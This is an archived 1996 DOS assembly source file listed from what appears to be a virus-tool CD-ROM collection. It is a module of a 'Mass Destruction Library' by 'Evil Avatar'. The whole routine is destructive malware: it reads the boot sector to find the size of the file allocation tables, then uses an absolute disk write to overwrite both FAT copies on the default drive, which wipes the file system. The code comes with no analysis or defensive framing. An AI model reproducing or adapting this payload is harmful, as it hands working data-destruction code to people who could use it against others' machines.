home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / FAT_FUCK.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-02-27  |  762 b   |  30 lines

  1. ;FAT_FUCK - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public fat_fuck
  6. extrn load_sec: near
  7.  
  8. fat_fuck:
  9.         push cx
  10.         push bp
  11.         push ax
  12.         push dx               ;save regs that will be changed
  13.         mov ax, 0dh
  14.         int 21h               ;reset disk
  15.         mov ah, 19h
  16.         int 21h               ;get default disk
  17.         xor dx, dx
  18.         call load_sec         ;load boot sector
  19.         mov bp, bx
  20.         mov cx, es:[bp+16h]   ;get number of secs per fat
  21.         add cx, cx
  22.         mov dx, 1
  23.         int 26h               ;fuck both fats
  24.         pop dx
  25.         pop ax
  26.         pop bp
  27.         pop cx
  28.         ret                   ;restore regs and return
  29. end fat_fuck
  30.